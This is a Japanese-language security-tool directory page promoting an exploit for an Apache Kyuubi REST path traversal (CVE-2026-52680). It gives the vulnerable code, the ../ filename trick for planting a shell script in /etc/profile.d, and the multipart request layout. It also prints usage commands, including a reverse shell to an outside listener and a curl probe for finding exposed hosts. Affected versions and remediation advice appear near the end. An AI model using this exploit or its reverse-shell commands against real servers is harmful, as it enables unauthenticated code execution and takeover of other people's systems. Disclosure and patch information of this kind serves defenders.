Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-52680_exploit — Apache Kyuubi のパストラバーサル (CVE-2026-52680) 用エクスプロイト。profile.d シェルスクリプト経由で、認証なしの任意ファイル書き込みとコード実行を実現します。 | Kitploit
ツール/GitHubGitHub/0xdak/cve-2026-52680_exploit
ペイロード生成永続化メカニズムエクスプロイトウェブアプリケーション悪用ペネトレーションテストレッドチーミング
GitHub0xdak/cve-2026-52680_exploit

CVE-2026-52680_exploit

Apache Kyuubi のパストラバーサル (CVE-2026-52680) 用エクスプロイト。profile.d シェルスクリプト経由で、認証なしの任意ファイル書き込みとコード実行を実現します。

リポジトリを見る
17日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-52680 — Apache Kyuubi REST バッチのパストラバーサルによる任意ファイル書き込み

Apache Kyuubi の REST API における、multipart バッチ送信エンドポイントを介した認証なしの任意ファイル書き込み。

POST /api/v1/batches (multipart/form-data) は、パストラバーサルチェックなしで クライアント指定のファイル名 を使用し、resourceFile パートを $KYUUBI_HOME/work/upload/<batchId>/ に書き込みます (kyuubi-common の Utils.writeToTempFile):

root@kitploit:~
val filePath = Paths.get(dir.toString, s"$prefix-$identifier$suffix")   // no normalize()/containment
Files.copy(source, filePath, StandardCopyOption.REPLACE_EXISTING)

../ を含むファイル名はアップロードディレクトリをエスケープし、Kyuubi プロセスユーザーとして 任意ディレクトリへのファイル書き込み (CWE-22) を引き起こします。Kyuubi はデフォルトで kyuubi.authentication=NONE を同梱しているため、このエンドポイントは 認証なし です。

  • 影響を受けるバージョン: Apache Kyuubi 1.7.0 – 1.11.1
  • 修正バージョン: 1.12.0 (filePath.normalize().startsWith(dir.normalize()) による包含チェックが追加)
  • デフォルトポート: 10099 (REST フロントエンド、authentication=NONE の場合は認証なし)
  • CWE: 22 (パストラバーサル) / 73 (ファイル名またはパスの外部制御)
  • 影響: Kyuubi プロセスユーザーとしての任意ファイル書き込み → RCE

重要な制約 — ベース名は改変される

writeToTempFile は拡張子の前に -<yyyyMMddHHmmss>-<counter> を挿入するため、宛先 ディレクトリ、拡張子、内容 は制御できますが、正確なベース名は制御できません。そのため、正確な名前による上書き (~/.ssh/authorized_keys、/etc/crontab、~/.bashrc) はできません。代わりに、グロブによって 実行される場所を標的にしてください。

このエクスプロイトは /etc/profile.d/pwn.sh を配置します → /etc/profile.d/pwn-<ts>-<n>.sh として保存されますが、これは依然として /etc/profile.d/*.sh に一致し、すべてのログインシェルによって source され (実行ビットは不要)、実行されます。これは、ログインシェルを開いたユーザーとして実行されます。Kyuubi が root で実行されており、root ログインが発生した場合 (ssh root@host、su -、cron の bash -lc など) は root として実行されます。

要件

Python 3 の標準ライブラリのみ — 依存関係はありません。

使い方

root@kitploit:~
# reverse shell (start a listener first: nc -lvnp 4444). Fires on the next login shell.
python3 exploit.py http://10.10.10.10:10099/ --shell 10.10.14.5:4444

# blind command
python3 exploit.py http://10.10.10.10:10099/ -c 'id > /tmp/pwned'

Spark バックエンドが存在しない場合、アップロードは HTTP 500 (Error opening batch session) を返しますが、これは想定どおりで無害です。ファイルはバッチが起動する 前 に書き込まれるためです。

仕組み

2 つの multipart パート:

  1. batchRequest (JSON) {"batchType":"SPARK","resource":"x","className":"x","name":"pwn"} — 検証を通過してアップロード処理に到達するための最小限の有効な BatchRequest です。
  2. resourceFile。ファイル名は ../../../../../../etc/profile.d/pwn.sh、本文 = ペイロード。Kyuubi はこれを (ベース名を改変して) /etc/profile.d/pwn-<ts>-<n>.sh に書き込みます。

そして、ログインシェルが /etc/profile.d/*.sh を source してペイロードを実行します。

ターゲットの特定

root@kitploit:~
curl -s http://10.10.10.10:10099/api/v1/ping        # Kyuubi REST responds (no auth)

ポート 10099 で authentication=NONE になっている Kyuubi REST フロントエンドは、攻撃可能です。

修復策

Apache Kyuubi ≥ 1.12.0 にアップグレードし、認証を有効化 (kyuubi.authentication) し、REST ゲートウェイを信頼できないネットワークに公開せず、Kyuubi を root で実行しないでください。

免責事項

許可されたセキュリティテストと教育目的のみに使用してください。自分が所有しているか、テストする明示的な許可を得ているシステムに対してのみ使用してください。

ツールをダウンロード